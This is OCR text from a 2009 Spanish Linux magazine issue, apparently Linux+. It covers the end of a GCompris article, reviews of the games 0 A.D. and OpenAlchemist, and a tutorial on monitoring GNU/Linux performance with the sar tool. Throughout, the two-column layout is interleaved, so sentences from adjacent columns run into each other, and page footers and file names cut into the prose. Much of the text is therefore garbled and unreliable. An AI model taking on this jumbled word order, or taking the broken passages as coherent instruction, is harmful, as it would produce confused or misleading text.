el proyecto? mienta que los docentes encontrarán muy útil va pedagógica integral, con un enfoque basado Como en todo proyecto libre, ya usándolo es- a la hora de brindar a los alumnos en muchos en la manipulación real de objetos antes de pa- tarán ayudando a la difusión del mismo, pero casos su primer contacto con el ordenador; para los padres una solución que mantendrá a los más pequeños de la casa entretenidos, al mismo tiempo que aprenden o adquieren co- nocimientos básicos en diferentes materias. Es libre, está en español, y en constante crecimiento... ¿Qué más podemos pedir?

Sobre el autor Es analista de Sistemas, docente, radio- aficionado (LU5ENP), consultor en in- formática y conductor del programa de radio libre hispano - Red-Handed Radio (www.red-handed.com.ar). Si quieres ha- cerle algún comentario, escribe a: [email protected] Figura 2. Actividad para limpiar los bloques con el ratón

www.lpmagazine.org 39

38_39_Gcompris.indd 39 2009-08-13, 14:25 software Juegos sección llevada por Francisco J. Carazo Gil

0 A. D. OpenAlchemist asta hace no mucho, era prácticamente impensable que un pro- i algún juego a lo largo de la historia ha sobresalido tanto en H yecto comercial se pasara al software libre, liberando su código. S ventas como en simplicidad, es el Tetris inventado por el ruso De hecho, a priori, parece que es una maniobra un tanto “suicida” Alekséi Pázhitnov el 6 de junio de 1984. La posterior inclusión del porque en parte se dilapidan las salidas comerciales de un proyecto Pasó el tiempo y como no podía ser de otra forma, los sucesores se cuyo modelo de negocio está en la venta de licencias. Sin embargo, las fueron sucediendo. La simplicidad del juego favorecía la aparición de cosas no son así y el tiempo está dando la razón a quienes desde hace juegos “imitadores”. El software libre como no podía ser de otra forma, ya mucho a través de la blogosfera, abogaban por cambiar el modelo también comenzó a producir multitud de proyectos basados en el jue- de negocio: de venta de licencias a venta de soporte o servicios. En go, aportando más detalles o características que trataban de mejorarlo ocasiones, incluso es más rentable un proyecto liberándolo gracias a o crear secuelas algo diferentes. Una de estas secuelas es OpenAlche- la publicidad que se genera a partir de este movimiento y a la fuerza mist, el segundo juego de este mes en la sección. A diferencia del pri- con que acoge la comunidad de software libre al nuevo “hermano”, sin mero, OpenAlchemist es un juego que gana adeptos por su simplicidad. tener necesidad de vender soporte. De hecho, la comunidad además 0 A. D. es un juego mucho más complejo tanto desde el punto de vista

Figura 1. 0 A. D. Figura 2. OpenAlchemist de asegurar publicidad, asegura ayuda al desarrollo sin que la empresa técnico como desde el punto de vista del jugador. Los públicos objetivo creadora pierda el control sobre el mismo. Parece que este es el caso son distintos, pero seguro que gusta a todos. Cada uno representa proba- de “0 A. D.”, un juego creado por Wildfired Games que tras comenzar blemente lo mejor de su género: la estrategia en tiempo real en el caso de siendo un desarrollo comercial se ha convertido en un proyecto libre 0 A. D. y los puzzles en el caso de OpenAlchemist. Aspectos interesan- con licencia GPL 2.0, aunque desde un primer momento se pensó en tes a destacar que lo diferencien de otros similares no hay muchos pero su distribución gratuita por la red. sí importantes. El aspecto estético, muy amigable y sobre todo colo- Se trata de un juego de estrategia en tiempo real, centrado en reado, favorece que los más pequeños también tomen parte del juego. la época que va desde el 500 a. de C. al 500 d. de C. En un primer Aparte el modo del juego en sí no es igual que el del Tetris pero seguro momento el juego se pensó como un simple mod, es decir, una modifi- que también os creará adictividad. cación profunda pero dependiente, del tan famoso Age Of Empires II: Existen binarios precompilados listos para descargar tanto para The Age Of Kings, creado al final de la década de los noventa a peti- Linux como para Windows y Free BSD. El código, por supuesto, tam- ción de Microsoft. Con el tiempo, la idea inicial se modificó de manera bién está liberado y listo para descarga. Podréis encontrarlo todo en la que la intención era crear un juego verdaderamente independiente. sección de descargas del proyecto. Aprovecho para comentaros que por Finalmente, el 10 de Julio de 2009, sus creadores deciden cambiar ahora el juego está en una versión 0.3 beta, por lo que en breve habrá la licencia del juego a GPL 2.0. Tanto los gráficos del juego, como nuevas versiones que solucionen pequeños problemas y aporten más todo el modo de juego en sí, es verdaderamente espectacular. Será el novedades y mejoras. El juego está alojado en la forja libre más popular juego libre favorito, con toda probabilidad, para todos los que como yo de todas, SourceForge, por lo que si tenéis problemas con algún mirror hayamos jugado a la Edad de los Imperios en nuestra infancia-adoles- podéis pasar a cambiar a uno de los muchos disponibles, como sucede cencia. Los gráficos, están realmente cuidados y sinceramente resultan normalmente en este tipo de proyectos alojados en la forja. espectaculares. Son tridimensionales y la carga de detalles es verdade- En definitiva, el perfecto remedio para relajarnos entre problema ramente alta. La impresión desde un primer momento es excelente. El y problema o entre tarea y tarea. Simple y adictivo. También como digo, modo de juego recuerda al juego en que inicialmente está basado y si es recomendable para los más pequeños de la casa. Otro juego más en sois amantes del género, os cautivará. el extenso de juegos libres que cada mes os presentamos de dos en Está disponible tanto para GNU/Linux como para Windows dos en esta sección y que esperamos que os resulten tan adictivos y para Mac OS X. como nos han resultado a nosotros. http://os.wildfiregames.com/ http://www.openalchemist.com/ NOTA NOTA jugabilidad «««« jugabilidad «« gráficos ««««« gráficos ««« sonido «««« sonido N/A

40 Linux+ 10/2009

40_Gry.indd 40 2009-08-13, 14:26 41_rekl_Arroba.indd 1 2009-08-13, 14:42 práctica Herramienta sar

Monitorización de Rendimiento en Sistemas GNU/Linux Jorge Emanuel Capurro El óptimo desempeño de un sistema es una tarea muy importante para su correcto funcionamiento, pero sin dudas no es algo muy fácil de lograr. En este artículo, nos propondremos revisar y analizar cómo detectar problemas de rendimiento en nuestros sistemas GNU/Linux y así poder lograr que nuestro sistema se aproveche al máximo.

l hardware en conjunto con el software, con- ciones demandantes. Las pruebas de rendimiento rea- forman las piezas fundamentales e indispen- lizadas en un lapso de tiempo nos dan la pauta de que sables de un Sistema Informático. Como bien estamos considerando distintos instantes y variaciones sabemos, el hardware, actúa en sintonía en del estado actual de un sistema, el cual nos proveerá un [email protected] Etodo momento con el software. Por esta razón básica, de flujo de información más homogénea a la hora de anali- nada sirve tener buen hardware si nuestro sistema opera- zar. A estas pruebas de rendimiento también se las sue- tivo posee problemas ajenos a éste, como pueden ser los le denominar, de manera indistinta, como pruebas de cuellos de botella, sobrecarga de procesos en relación a la stress. memoria disponible, poco espacio en disco a razón de una Las condiciones demandantes básicas que afectan de mala administración de las cuotas, etc. Es por ello que es manera directa a la ejecución y tiempo de respuesta de los de suma importancia aprender a monitorizar nuestro siste- recursos del sistema son las siguientes: ma en busca de problemas y sus posibles soluciones, para poder así hacer que nuestro sistema funcione de manera • CPU: Tiempo consumido en el procesado de datos eficiente y eficaz. sobre el o los CPU(s) de una máquina. • Memoria: Tiempo consumido en lectura y escritura Pruebas de Rendimiento para y proveniente de la memoria real. Para poder lograr todo lo anteriormente descripto, es • Entrada/Salida: Tiempo consumido en lectura y es- necesario realizar lo que se conoce como pruebas de critura para y proveniente de la unidad de almacena- rendimiento. Como su nombre lo indica, las pruebas miento. de rendimiento son aquellas que tratan de probar un de- • Redes: Tiempo consumido en lectura y escritura para terminado comportamiento de un sistema bajo condi- y proveniente de la red.

42 Linux+ 10/2009

42_43_44_45_46_47_48_SAR.indd 42 2009-08-14, 11:59 práctica Herramienta sar

Tabla 1. Tabla de Archivos que componen al directorio virtual /proc Nombre del Archivo Descripcion El Efecto Burbuja proc/X Directorio con la información del proceso X (X es el PID del proceso) Siempre se tiene la sensación de que /proc/cpuinfo Información sobre la CPU (tipo, marca, modelo, prestaciones, etc) cuando se encuentra la solución a un /proc/devices Lista de dispositivos configurados en el kernel. problema, surge otro. Una manifesta- ción de este problema es que el sistema /proc/dma Canales de DMA utilizados en ese momento se mueve constantemente entre proble- /proc/fi lesystems Sistemas de archivos configurados en el kernel. mas de CPU, Memoria, I/O, etc. y que Muestra cuales interrupciones están en uso y cuantas de ellas se han procesado /proc/interrupts estos componentes trabajan conjunta- /proc/ioports Muestra cuales puertos están en uso y cuantos de ellos se han procesado mente todo el tiempo. A esta “sensa- /proc/kcore Imagen de la memoria física del sistema. ción” se la denomina “efecto burbuja”. /proc/kmsg Mensajes generados por el kernel que luego son enviados a syslog /proc/ksyms Tabla de símbolos del kernel nos proporciona herramientas que nos pueden /proc/loadavg Carga del sistema mostrar datos instantáneos de rendimiento,

/proc/meminfo Información sobre la utilización de memoria así como almacenarlos como históricos para nuestra futura referencia. Especialmente en /proc/modules Módulos cargados por el kernel entornos de servidor, sus datos nos proporcio- Información sobre los protocolos de red /proc/net nan información muy valiosa sobre las posib- /proc/stat Estadisticas varias sobre el sistema les carencias y cuellos de botella de nuestro /proc/uptime Informascion del tiempo desde cuando el sistema está funcionando sistema. /proc/version Version del Kernel En particular, haremos especial enfoque sobre la herramienta sar, que es la más com- Principios conexión para poder determinar dónde están pleta de todas e incluso nos proporciona la a tener en cuenta sus problemas. misma información que nos brindan otras Para analizar de manera objetiva el resulta- herramientas en conjunto. do de las pruebas de rendimiento y así po- Herramientas Empleadas El encargado de realizar las pruebas de- der mejorar las prestaciones de un sistema, Para realizar las pruebas de rendimiento, en berá conocer muy bien esta herramienta, ya es conveniente tener en cuenta una serie de este artículo utilizaremos particularmente la que le permitirá evaluar los niveles de utili- factores. herramienta sar (System Activity Report). Es- zación de los recursos del sistema. Conocer el Entorno de Ejecución: es con- ta herramienta nos permite mostrar una gran veniente saber qué es lo que realmente hace cantidad de información estadística de rendi- Instalación el sistema. Es decir, conocer qué servicios miento de nuestro equipo, como por ejemplo y Archivos de Configuración tiene activados, qué procesos arrancan en el uso de las distintas CPUs, la carga del sis- En muchos sistemas comerciales, el paquete conjunto con el sistema, para qué sirven tema, el uso de memoria, I/I, redes, etc. Para sysstat viene instalado por defecto. En dis- y se utilizan. No es necesario saber absoluta- ello tendremos que definir los parámetros tribuciones como Debian y derivados, sola- mente todo, pero sí una vaga noción del en- que queremos monitorizar, el período entre mente tendremos que ejecutar el comando torno donde estaremos realizando las prue- cada muestra y el número de muestras que sudo apt-get install sysstat y listo. El archivo bas, así a la hora de encontrar problemas, vamos a tomar. binario se encuentra en /usr/bin/sar. Vale ac- nos sea más fácil identificar la raíz de los Esta herramienta forma parte del paquete larar que este paquete suele trabajar en con- mismos. sysstat que es una colección de herramientas junto con el comando cron, por lo cual se re- Conocer cómo buscar el Equilibrio: es- de monitorización de rendimiento. Esta suite comienda tener instalada dicha dependencia. te concepto es directo. El lema básico es “Lo que se le da a uno, se le resta a otro” (ver cuadro “El Efecto Burbuja”). Por ejemplo, si mejoramos la prioridad de ejecución de un determinado proceso, estaremos empeo- rando la de otros. Encontrar el equilibrio junto entre las partes es una de las grandes virtudes de los sistemas correctamente opti- mizados. Conocer básicamente el hardware a opti- mizar: para mejorar algo es primordialmente necesario saber si es susceptible de mejora. Cuando se realicen las pruebas de rendi- miento, el encargado de las mismas deberá conocer básicamente el hardware subyacente (CPU, Memorias, Cache, I/O, etc.) y su inter- Figura 1. Esquema del funcionamiento de la herramienta sar

www.lpmagazine.org 43

42_43_44_45_46_47_48_SAR.indd 43 2009-08-14, 11:59 práctica Herramienta sar

Como último punto, vale la pena aclarar que al instalar la herramienta sar, también se instalan todas las demás herramientas correspondientes al paquete sysstat.

La herramienta sar Figura 2. Nuestro primer Informe de Rendimiento del Sistema Básicamente, sar posee dos modos bien de- Una vez finalizada la instalación, po- el máximo establecido por el archivo finidos para su funcionamiento, éstos se seeremos los siguientes archivos de confi- de configuración. denominan modo estático y modo real. En guración: • /etc/cron.d/sysstat: tabla cron, la cual es el modo estático, sar recolecta informa- llamada mediante el script sa2, siempre ción sobre el rendimiento del sistema pre- • /etc/default/sysstat: archivo básico de y cuando esté configurada su activación viamente configurado en un horario en configuración Entre otras cosas, este ar- de antemano. particular, lo más interesante de este modo chivo es el encargado de habilitar el mo- • /var/log/sysstat/saXX: archivo en for- es la posibilidad de recoger periódicamen- do real. mato binario, el cual es creado y escri- te datos y guardarlos en ficheros históricos • /usr/lib/sysstat/sadc: recoge los datos re- to por la información recogida desde estadísticos. Al contrario, el modo real se lacionados con la actividad del sistema, sadc, donde XX indica el día del mes encarga de obtener estadísticas del siste- y construye con ellos un registro en for- en curso. ma al instante, brindándonos datos esta- mato binario. En otras palabras, es usa- • /etc/sysstat/sysstat.ioconf: archivo de dísticos en el instante justo donde se está do como backend para sar. configuración encargado de suminis- llevando a cabo la prueba de rendimiento. • /usr/lib/sysstat/sa1: script que recopila trarle a sadc información acerca de la Sin lugar a dudas, los dos modos son de y almacena datos binarios en el fichero configuración de los dispositivos de mucha utilidad, y tienen prestaciones bien de datos diario de actividad del siste- entrada y salida de nuestro sistema. marcadas. ma. El mismo utiliza a sadc para su No debe modificarse. Antes de empezar a utilizar la herra- función. mienta sar en la práctica y realizar un par • /usr/lib/sysstat/sa2: script encargado Seguramente muchos de los archivos ante- de ejercicios, nada mejor que entender real- de escribir un informe resumido de ac- riores contenían conceptos todavía no vistos. mente cómo funciona internamente y qué tividad diaria. Está preparado para ser ¡No se preocupe! Todos estos archivos y con- es lo que realmente está haciendo esta ejecutado con cron. Como segunda ta- ceptos nuevos los veremos en la práctica de maravillosa herramienta. El secreto de rea, se encarga de eliminar los archivos este artículo, con su correspondiente explica- sar se remite básicamente a la razón del de estadística del sistema que superan ción. sistema de archivos virtual en /proc. Este sistema de archivos lo veremos como un Tipos de Reportes Tabla 2. directorio, pero en la realidad no existe sobre el disco y es el kernel el que lo crea en memoria. Este directorio se utiliza para proveer al usuario o administrador infor- mación sobre el sistema. En un principio, solamente se proveía información sobre procesos (de ahí el origen de su nombre), pero en las versiones actuales este siste- ma de archivos ficticio nos brinda mucha información La misma, se especifica en la Tabla 1.

Cuellos de Botella La generación de un cuello de botella en un sistema informático se debe a que existen recursos que no pueden satisfa- cer la demanda a la que son sometidos. Son uno de los eslabones más débiles que delimitan la verdadera potencia de nuestro sistema. Las consecuencias de tener cuellos de botella en el sistema son varias, des- de provocar lentitud en el sistema en cuestión o bien, la caída del mismo.

44 Linux+ 10/2009

42_43_44_45_46_47_48_SAR.indd 44 2009-08-14, 11:59 práctica Herramienta sar

muestra sar nos brinda información básica sobre el sistema donde se está realizando la prueba, como el nombre del Sistema Ope- rativo, nombre de la PC, versión del ker- nel, arquitectura y demás datos de fecha. Lo que realmente nos interesa es lo que sigue a continuación de esta línea, que es el reporte en sí. En la anterior sección, se aclaró que sar puede retornar distintos tipos de infor- Figura 3. Nuestro primer Informe de Rendimiento del Sistema mes de rendimiento, como pueden ser in- Se debe tener en cuenta que algunos de es- ser leída más tarde. Como archivo final, formes de consumo de CPU, utilización de tos archivos son de texto puro, los cuales pue- obtenemos un informe de rendimiento del memoria, tráfico de red, etc. Por defecto, den leerse de manera convencional, y otros sistema en formato ASCII para ser leído sar muestra un informe de la utilización de son necesarios comandos para poder inter- y analizado por el responsable de la prue- la CPU solamente, que es el que contem- pretarlos, por ejemplo sar. ba a fin de determinar las posibles optimi- plamos en la Figura 2. La herramienta sar realiza todo un proce- zaciones a realizar. Existen 15 tipos de reportes que son so en particular para poder extraer informa- Los informes de rendimiento del sistema los más utilizados para realizar pruebas. ción de estos archivos ficticios la cual luego pueden evaluar multitudes de cosas a la vez, Los mismos se listan en la Tabla 2. Como se transformará en informes de pruebas de como puede ser el rendimiento del CPU, de podemos deducir ahora, ejecutar el coman- rendimiento. El verdadero core y hacedor de la memoria, de la actividad de I/O, etc. do sar “a secas” es lo mismo que ejecutar todas las tareas de recolección de datos de Se recomienda releer el apartado “Ins- sar -u. esta herramienta es el sadc. El sadc (System talación y Archivos de Configuración” Volviendo a la salida del comando sar, Activity Data Collector o Recolector de Da- a modo de fusionar los conceptos explica- la misma muestra información relacionada tos de Actividad del Sistema) es un archivo dos con anterioridad y poder llegar a com- con el sistema en forma de columnas. En binario que realmente se encarga de extraer prender de una manera más amplia el fun- este caso, las columnas más importantes son información del directorio /proc para que cionamiento de esta herramienta. Aunque idle y wait (en versiones viejas, waitio). luego sea leída y formateada a un formato no es necesario saber al pie de la letra su El valor especificado en idle indica el de texto mediante sar. Este archivo puede ser funcionamiento, nunca está de más para porcentaje de desocupación que tiene la ejecutado al instante (Modo Real) mediante así poder comprender de manera completa CPU en ese instante. Si este valor tiende, o es la misma llamada a sar o bien, mediante la el proceso con el cual se obtiene informa- igual a cero, significa que la CPU está muy previa configuración de una tabla cron, que ción de nuestro sistema. sobrecargada. Por el contrario, si este valor se encarga de juntar información en un mo- tiende a valores altos, quiere decir que la mento determinado (previamente configura- De la Teoría a la Practica CPU no está realizando una labor que re- do) y leerla en otro momento (Modo Está- Ahora que ya sabemos como funciona sar, quiere de mucho procesamiento, lo cual no tico) también utilizando sar. En definitiva, empezaremos a utilizar esta herramienta la mantiene ocupada. el recolector de datos es sadc y el “formatea- en la práctica para realizar sencillas prue- Si por ejemplo el valor de idle=10 y el dor” de los mismos es sar. bas de rendimiento sobre nuestro sistema. número de procesos es elevado, debería pen- Para poder entender bien este mecanis- En primer lugar, tendremos que tener ins- sarse en optimizar la CPU, ya que podría ser mo de manera más completa, nos remitire- talada esta herramienta. Si todavía no la el cuello de botella del sistema. mos a la Figura 1. tienes instalada, dirígete a la sección ante- Por otro lado, el valor que se muestra en Como podemos ver, el punto de partida rior “Instalación y Archivos de Configura- la columna de wait (o waitio) indica el por- es el modo optado. Por ejemplo, si elegi- ción”. centaje de espera por el sistema de entrada mos el modo estático, primero en principal Empezaremos haciendo uso del modo y salida en ese instante. Al contrario de lo se ejecutará el script sa1 cada un intervalo real. En primer lugar, nos dirigimos hacia que sucede con idle, si este valor es grande, de tiempo determinado (por defecto 10 nuestra terminal de GNU/Linux. Una vez significa que los discos están sobrecarga- minutos) llamando a sadc, que se encarga- allí, tipeamos sar y luego apretamos la tecla dos. Un porcentaje rondando el 70% es se- rá de relevar información sobre el sistema ENTER. Tendremos una salida similar a la ñal de una sobrecarga considerable del sis- extrayéndola del sistema de archivos virtual que se muestra en la Figura 2. tema de I/O. /proc. Si elegimos el modo real, se salteará Lo que vemos allí, es el informe más bá- Ahora veremos cómo realizar pruebas la llamada al script sa1, ya que la prueba sico de prueba de rendimiento. Tan básica de rendimiento durante un lapso de tiempo se realizará al instante. Luego, indistinta- es esta prueba que solamente duró lo que específico. La herramienta sar nos permite mente del modo elegido, se procederá a re- tarda en ejecutarse el comando, es decir, tomar muestras de datos estadísticos de tornar la información obtenida por el tra- menos de una milésima de segundo. Ob- uso del sistema cada un intervalo de tiem- bajo de sadc. Esta información puede ser viamente, un informe de esta forma no nos po determinado. Por ejemplo, podemos in- directamente enviada mediante un pipe a la sirve en la práctica real, pero sí nos es de uti- dicarle que nos muestre las estadísticas de herramienta sar o bien, guardarla en un ar- lidad para empezar a comprender la salida rendimiento del sistema 5 veces, cada 10 chivo estadístico en formato binario, para que nos brinda sar. La primer línea que nos segundos, mediante la siguiente sintaxis.

www.lpmagazine.org 45

42_43_44_45_46_47_48_SAR.indd 45 2009-08-14, 11:59 práctica Herramienta sar

do a que en este caso el proceso stress fina- lizó antes que termine el informe de rendi- miento brindado por sar, podemos apreciar cómo los valores idle y wait se van “recupe- rando” de la sobrecarga del sistema progre- sivamente. Puede tener un informe más detallado acerca del Sistema de Entrada/Salida ejecu-

tando el comando sar -d. Básicamente, los campos retornados en este informe son muy intuitivos. Igualmente, si necesita ayuda, con-

sulte la pagina del manual: man sar. Por otra parte, también podemos combi- nar múltiples reportes. Por ejemplo, si quere- Figura 4. Resultados del informe de sar habiendo generado stress en el sistema mos evaluar el uso de la CPU y la memoria,

Sar [tiempo] [repeticiones] sistema. El código del programa se muestra podemos ejecutar el comando sar -ur. Estos parámetros indican lo siguiente: en la Figura 4. O bien, si desea un informe completo de todo

Para compilar este programa, utilizamos el sistema, use la opción -A de sar. • tiempo: indica cada cuanto tiempo hay el compilador gcc de la siguiente manera: Este es el uso genérico de esta herramien- que controlar el sistema entre informe ta. Los distintos informes varían en la infor-

e informe. Se especifica en segundos. gcc stress-c -o stress mación que brindan cada uno, pero la esen- • repeticiones: indica cuantas veces hay cia de uso y aplicación en la práctica es que repetir el proceso de monitorización Una vez generado el archivo binario, abrimos absolutamente la misma. Por cuestiones ob- del sistema e informar sobre el mismo. dos instancias de consola. En la primera po- vias, se hace imposible abordar en detalle nemos en ejecución a sar tomando 20 pre-in- todos los informes y variantes que emplea Por ejemplo, si tecleamos sar 5 10 en nuestra formes de rendimiento de sistema cada 5 se- sar. Es por ello que se anima al lector a se- consola obtendremos un informe cada cinco gundos, así: sar 5 20. Dejamos pasar 10 o 12 guir investigando sobre esta herramienta de segundos sucesivamente diez veces. Obvia- segundos y luego en la segunda consola ejecu- suma utilidad. mente, el informe final se podrá considerar tamos el programa stress mediante el coman- terminado cuando trascurran todas las repeti- do ./stress. Una vez finalizado el informe, Configurando ciones, es decir, en cincuenta segundos. Vea- podremos tener resultados similares a los que el Modo Estático mos en la Figura 3 una posible salida que nos se muestran en la Figura 5. Como se explicó con anterioridad, el Modo puede llegar a producir este comando. Analicemos un poco este informe de Estático brindado por sar permite que se con- Podemos observar las ligeras variaciones rendimiento. Observemos detenidamente forme información acerca del rendimiento que se dieron en el sistema, más específica- los valores de idle y wait. En un principio, del sistema utilizando un archivo basado en mente en la columna del valor idle. Estas al haber invocado primero a sar, dejar pasar cron (/etc/cron.d/sysstat). Para hacer uso de variaciones son prácticamente despreciables unos 10 o 12 segundos y luego invocar al esta función, hace falta habilitarla. por su poca diferencia entre valor y valor, por programa stress, los valores de idle y wait Para empezar a hacerlo, nos dirigimos al lo cual no nos desemboca en la sospecha de indican que hay poco uso de CPU y el sis- directorio /etc/default/ y abrimos con nuestro un posible problema. tema de entrada y salida está ocioso. Anali- editor de texto favorito el archivo sysstat. Una Para verificar a ciencia cierta el verda- zando unas líneas más abajo, más específi- vez allí, modificamos la variable ENAB- dero uso de todo lo explicado anteriormente, camente la línea tres del informe, podemos LED con el valor “true”. Con esto, estaremos provocaremos intencionalmente stress al notar un cambio significativo en el valor habilitando el Modo Estático Es decir, el sistema. Mediante un simple programa reali- arrojado por idle. De estar un 95% desocupa- script /usr/lib/sysstat/sa1 se ejecutará cada zado en Lenguaje C haremos que la CPU se do pasa a estar el 54% desocupado. Pasando 10 minutos, ya que es su valor por defecto, mantenga ocupada por un instante de tiempo cinco segundo más, en la línea cuatro, pode- y recogerá datos de los últimos 7 días, escri- considerable, provocando una sobrecarga de mos contemplar cómo la CPU se encuentra biendo un archivo con dichos datos en /var/ la misma. En el mismo instante que ejecu- totalmente sobrecargada, debido a nuestro log/sysstat/saXX. tamos nuestro programa, realizaremos una programa generador de stress, ya que el va- El número de días a retener se confi- prueba de rendimiento con sar para analizar lor arrojado aquí es del 0%, indicando una gura en el otro script, el /usr/lib/sysstat/sa2, los valores que nos arroja. Al programa lo lla- sobrecarga abrupta en el sistema. También que hace dos tareas. Por un lado escribe maremos stress.c y su lógica es muy sencilla. podemos notar como el valor de wait sube un resumen diario de los parámetros de Simplemente crea un archivo y va guardando a la par que baja el valor de idle. Esto se debe rendimiento en ficheros de texto plano con en él los caracteres generados mediante una a que el sistema está procesando (idle) los nombre sarXX y, por el otro, elimina los expresión matemática. Asimismo, para poder bucles for de nuestro generador de stress y al ficheros saXX y sarXX de antigüedad an- guardar cada carácter, tendrá que pasar por mismo tiempo, está escribiendo los valores en terior a la establecida, algo que se confi- dos bucles for anidados, lo cual le provocará un archivo, obviamente utilizando el siste- gura en la variable HISTORY del mismo un grado importante de ocupación y stress al ma de entrada/salida (wait). Por último, debi- fichero. Nótese la mínima diferencia entre

46 Linux+ 10/2009

42_43_44_45_46_47_48_SAR.indd 46 2009-08-14, 11:59 práctica Herramienta sar

los nombres de los archivos generados por particular. Para poder optimizar un sistema sa1 y sa2. correctamente, se tiene que tener en cuenta Por último, nos sería de utilidad saber cómo como factor principal la saturación de los leer estos archivos generados por los scripts. recursos que posee. Como sabemos, el encargado de traducir esta A continuación se deja un listado de al- información es sar. Supongamos que nos di- gunas de las posibles optimizaciones que le rigimos al directorio /var/log/sysstat/ y nos podemos realizar al sistema según los datos encontramos con el archivo sa28, es decir, un obtenidos: archivo que se ha creado el día 28 del mes en curso. Si queremos leer la información conteni- • Mucha utilización de CPU: este pará- da en él, simplemente ejecutamos sar pasán- metro básicamente nos lo da el tiempo dole como parámetro el archivo de informa- idle con valores bajos. Con comandos ción a leer, mediante la opción -f. como ps o top podemos verificar cuales En resumen, podríamos leer el archivo son los procesos que se encargan de “de- empleando el comando sar -f /var/log/sysstat/ vorar” la CPU y tomar decisiones como: sa28. posponer su ejecución, pararlos de for- ma temporal, cambiar la prioridad (co- Revisando Informes mando renice), cambiar de CPU o agre- de manera Visual gar otra. Existe una herramienta completamente ajena • Problemas de Memoria Principal: las so- al paquete sysstat llamada isag (Interactive luciones básicas para la memoria princi- System Activity Grapher). El mismo es un pal son más que obvias: o se incrementa la programa visual que nos permitirá crear grá- capacidad o se reducen las necesidades. ficas de los datos que tenemos en el sistema, Por el coste actual de las memorias, es a partir de los informes arrojados por sar. Lo más adecuado incrementar su tamaño, instalamos, lo ejecutamos, elegimos uno de siempre que esto sea posible, antes que los ficheros de rendimiento y podemos ana- emplear muchas horas para ordenar o re- lizar los datos de forma extraordinariamente ducir requisitos de los procesos en ejecu- visual. La Figura 6 muestra un gráfico de isag ción Reducir los requisitos puede hacerse sobre el uso de la CPU. reduciendo las tablas del kernel, quitando módulos, limitando el número máximo Optimizando el Sistema de usuarios, reduciendo buffers, etc. Todo Luego de realizar y analizar las pruebas lo cual degradará el sistema (ver Cuadro de rendimiento correspondientes, llega el “El Efecto Burbuja”) y las prestaciones momento de llevar a cabo la optimización serán peores y en algunas casos, nos del sistema. Ésta depende del resultado del estamos arriesgando a que el sistema análisis en cada sistema, lo cual es algo muy quede totalmente inoperativo.

Figura 5. Gráfico de Rendimiento generado por la herramienta isag

www.lpmagazine.org 47

42_43_44_45_46_47_48_SAR.indd 47 2009-08-14, 11:59 práctica Herramienta sar

te manera: /, swap, /usr y /home. Esto genera sucediendo al sistema. Solamente, la etapa La “Puesta a Punto” pésimas respuesta de Entrada/Salida por- de identificación del problema es compli- del Sistema que si, por ejemplo, un usuario compila un cada según sea la complejidad del mismo. programa desde su directorio home y el Luego, recién allí teniendo identificado el Analizar el rendimiento del sistema, compilador se encuentra en /usr/bin, la ca- problema, podremos dar un diagnóstico identificar los cuellos de botella, y poner beza del disco se moverá por toda su longi- y una posible solución para que las cosas el sistema “a punto” es un proceso bas- tud. En estos casos, es mejor unir las par- mejoren. tante complejo. Muchos factores influ- ticiones /urs y /home en una sola más grande, No solamente se necesita de sar para yen en todo este proceso. Por ejemplo, aunque puede llevar aparejado inconvenien- poder realizar las revisiones de un proble- si alguno de los sistemas a analizar tes en cuanto al mantenimiento. ma. También es necesario usar en conjun- comparte recursos con otros sistemas, Por otro lado, en sistemas multidisco, to herramientas como pueden ser top, ps, implica añadir un punto más de com- es buena práctica planificar dónde se en- vmstat, iostat, free, du, dd, etc. plejidad al caso. Existen libros enteros contrarán los archivos más utilizados para El valor en tiempo de la muestra de sobre este tema, el cual sin duda es equilibrar el trafico hacia ellos y que pue- realización de pruebas de rendimiento tam- muy interesante. dan utilizar todas las capacidades de la bién toma una fuerte influencia sobre el Entrada/Salida con cache y concurrente. informe final, el cual debe ser un tiempo Como otro factor, se debe procurar que También, hay que tener en cuenta que considerable, y en lo posible, realizarlo re- la memoria principal tenga la suficiente se obtienen mejores prestaciones sobre petidas veces distintos días a diferentes ho- capacidad como para acoger un porcen- dos discos pequeños, que uno grande del rarios, con el fin de obtener un informe más taje elevado de procesos en ejecución. Si es- tamaño de los dos anteriores. neutral sobre los instantes donde el siste- to no es posible, el sistema operativo podrá Borrar o comprimir archivos que no ma posee problemas de rendimiento (si no paginar e ir al swap, degradando notable- se usan muy a menudo puede desembocar lo es a toda hora). mente la ejecución de ese proceso. en un aumento notable de la capacidad del En fin, se anima al lector a seguir in- Otro aspecto válido es reducir la canti- disco. vestigando sobre esta materia, la cual, sin dad de memoria que utilizan los usuarios Como último consejo, se cae de ma- duda es de mucho interés para cualquier eliminando procesos redundantes y cam- duro que el cambio de disco por uno de informático. Cualquier consulta o comen- biando la carga de trabajo. Para poder lo- mayor velocidad (RPM) siempre tendrá un tario, no duden en escribirme a jorge. grarlo, se deberán monitorizar los proce- impacto positivo en un sistema limitado [email protected] que serán bien re- sos que están durmiendo (zombies) y elimi- por la Entrada/Salida: cibidos ¡Hasta la Próxima! narlos, como también aquellos que no prog- resan en su Entrada/Salida. • Elección de los programas adecuados: También, puede llegarse a un mejor esto es fácil y directo. Usar las versiones rendimiento modificando el valor de tiem- más eficientes para cada tipo de progra- po máximo (quantum) que el scheduler del ma: por ejemplo, por razones obvias, vi Sobre el autor sistema operativo dedica a cada proceso. es más eficiente que emacs. También, Jorge Emanuel Capurro es estudiante Éste es un valor fijo dentro del código del egrep es mas rápido que grep. de la Tec. Superior en Programación, sistema operativo, y es por ello, que es fácil carrera dictada en la Universidad Tec- modificarlo, con los riesgos que esto trae Lo mismo ocurre con los gestores de ven- nológica Nacional – Facultad Regional aparejado. Para hacerlo, tendremos que tana, muchos de los cuales son muy bonitos Haedo, provincia de Bs. As, Argentina. remitimos al kernel-source-2.x.x/kernel/ y agradables, pero no se justifica su con- Principalmente, su área de investiga- sched.c. Para usuarios no tan avanzados sumo excesivo de recursos de sistema. ción se centra en los Sistemas Operati- (o arriesgados) se recomienda el comando Por ejemplo, GNOME es mucho mas efi- vos de tipo UNIX y de la programación renice: ciente que KDE, pero no tanto como . bajo dicha plataforma. En cuanto a los procesadores de texto, Abi- Es el creador del proyecto IDEas • Problemas relacionados al Disco: des- Word consume muchos menos recursos que (http://ideasc.sourceforge.net), que es pués de la memoria, un tiempo de res- el legendario OpenOffice.org Write. Lo mis- el primer frontend desarrollado bajo puesta bajo puede ser debido al siste- mo sucede con los navegadores, sobretodo si Gambas del compilador gcc (http://gcc. ma de discos. En primer lugar, debe tienen la JVM activada. gnu.org), que se utiliza con fines didác- verificarse que se disponga de tiempo Estas sencillas observaciones pueden ticos. Actualmente se desempeña 